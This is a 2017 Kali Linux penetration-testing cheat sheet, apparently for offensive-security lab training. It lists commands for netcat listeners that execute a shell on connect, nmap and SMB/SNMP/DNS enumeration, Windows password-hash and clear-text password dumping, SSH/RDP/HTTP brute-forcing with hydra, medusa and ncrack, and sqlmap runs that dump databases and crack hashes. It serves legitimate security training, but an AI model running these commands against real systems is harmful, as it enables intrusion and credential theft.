Kali Linux Cheat Sheet

by Alex Wong, yukialex@gmail.com, 26 Jan 2017

Basic Command

COMMAND	DESCRIPTION
grep “substring” target-file	Extract the lines contains “substring”
grep –o “regex” target-file	Same as above with regular expression as input
cut -d "/" -f 3	Split the string by “/” and output the third column
sort –u	Remove duplicate
host “hostname”	Return the IP address of the host name
wc –l access.log	Count the number of line in “access.log”
uniq -c	Add the number of occurrence in front
cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn	count the number of occurrence and sort it reversely

Netcat / ncat

COMMAND	DESCRIPTION
nc –nv target –p port	Connect to specific port of the target machine
nc –nlvp port –e filename	Listen in specific port and execute the program after connect
ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl	Listen in port 4444, allow only 10.0.0.4 to connect, execute cmd.exe after connect, encrypt with SSL
ncat -v 10.0.0.22 4444 --ssl	Connect to target at port 4444, encrypt with SSL

NMAP

COMMAND	DESCRIPTION
nmap –v –sS –A –T4 target	Nmap verbose scan, runs syn stealth, T4 timing (should be ok on LAN), OS and service version info, traceroute and scripts against services
nmap -v -sS -p–A -T4 target	As above but scans all TCP ports (takes a lot longer)
nmap -v -sU -sS -p- -A -T4 target	As above but scans all TCP ports and UDP scan (takes even longer)
nmap -v -p 445 –script=smb-check-vulns –script-args=unsafe=1 192.168.1.X	Nmap script to scan for vulnerable SMB servers – WARNING: unsafe=1 may cause knockover
ls /usr/share/nmap/scripts/* | grep ftp	Search nmap scripts for keywords

Mount File Shares

COMMAND	DESCRIPTION
mount 192.168.1.1:/vol/share /mnt/nfs	Mount NFS share to /mnt/nfs
mount -t cifs -o username=user,password=pass ,domain=blah //192.168.1.X/share-name /mnt/cifs	Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history)
net use Z: \\win-server\share password /user:domain\janedoe /savecred /p:no	Mount a Windows share on Windows from the command line

SNMP Enumeration

COMMAND	DESCRIPTION
snmpcheck -t 192.168.1.X -c public	SNMP enumeration
snmpwalk -c public -v1 192.168.1.X 1| grep hrSWRunName|cut -d* * -f	SNMP enumeration
snmpenum -t 192.168.1.X	SNMP enumeration
onesixtyone -c names -i hosts	SNMP enumeration

DNS Enumeration & Transfer

COMMAND	DESCRIPTION
dnsrecon -d megacorpone.com -t axfr	Enum and attemp to transfer target domain
dnsenum zonetransfer.me	Enum and attemp to transfer target domain

SMB Enumeration

COMMAND	DESCRIPTION
nbtscan 192.168.1.0/24	Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain
enum4linux -a target-ip	Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing

HTTP Enumeration

COMMAND	DESCRIPTION
nikto -h 192.168.1.1	Perform a nikto scan against target
dirbuster	Configure via GUI, CLI input doesn’t work most of the time

Packet Inspection

COMMAND	DESCRIPTION
tcpdump tcp port 80 –w output.pcap i eth0	tcpdump for port 80 on interface eth0, outputs to output.pcap
Wireshark	GUI tools that perform packet inspection

Password Generation

COMMAND	DESCRIPTION
/usr/share/wordlists/	Kali password list
crunch 6 6 0123456789ABCDEF -o crunch1.txt	Generate password list with only 0-9, A-F character, length = 6, output to crunch1.txt
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha	Generate password list with specific character set, length = 4
cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt	Generate password list from megacorpone website and output to megacorp-cewl.txt
nano /etc/john/john.conf john --wordlist=megacorp-cewl.txt --rules --stdout > mutated.txt	Mutate password according to the rules

Password Cracking

COMMAND	DESCRIPTION
fgdump.exe	Dump windows password hash
wce -w	Dump the windows clear text password
medusa -h 10.11.1.219 -u admin -P password-file.txt -M http -m DIR:/admin -T 10	HTTP Bruteforce
ncrack -vv --user offsec -P password-file.txt rdp://10.11.1.35	RDP Bruteforce
hydra -P password-file.txt -v 10.11.1.219 snmp	SNMP Bruteforce
hydra -l root -P password-file.txt 10.11.1.219 ssh	SSH Bruteforce

Port Forward

COMMAND	DESCRIPTION
ssh <gateway> -L <local port to listen>:<remote host>:<remote port>	Local port forward. 127.0.0.1:<port> is now redirected to the remote host
ssh <gateway> -R <remote port to bind>:<local host>:<local port>	Remote port forward. Access 127.0.0.1:<port> now to connect to the remote host at remote binded port
ssh -D <local proxy port> -p <remote port> <target>	Dynamic port forward. We created a SOCK proxy at local machine now.

SQL Map

COMMAND	DESCRIPTION
sqlmap -u http://meh.com –forms –batch –crawl=10 –cookie=jsessionid=54321 –level=5 –risk=3	Automated sqlmap scan
sqlmap -u TARGET -p PARAM –data=POSTDATA –cookie=COOKIE –level=3 –current-user –current-db –passwords –file-read=”/var/www/blah.php”	Targeted sqlmap scan
sqlmap -u “http://meh.com/meh.php?id=1” –dbms=mysql –tech=U –random-agent –dump	Scan url for union + error based injection with mysql backend and use a random user agent + database dump
sqlmap -o -u “http://meh.com/form/” –forms	sqlmap check form for injection
sqlmap -o -u “http://meh/vuln-form” –forms -D database-name -T users –dump	sqlmap dump and crack hashes for table users on database-name.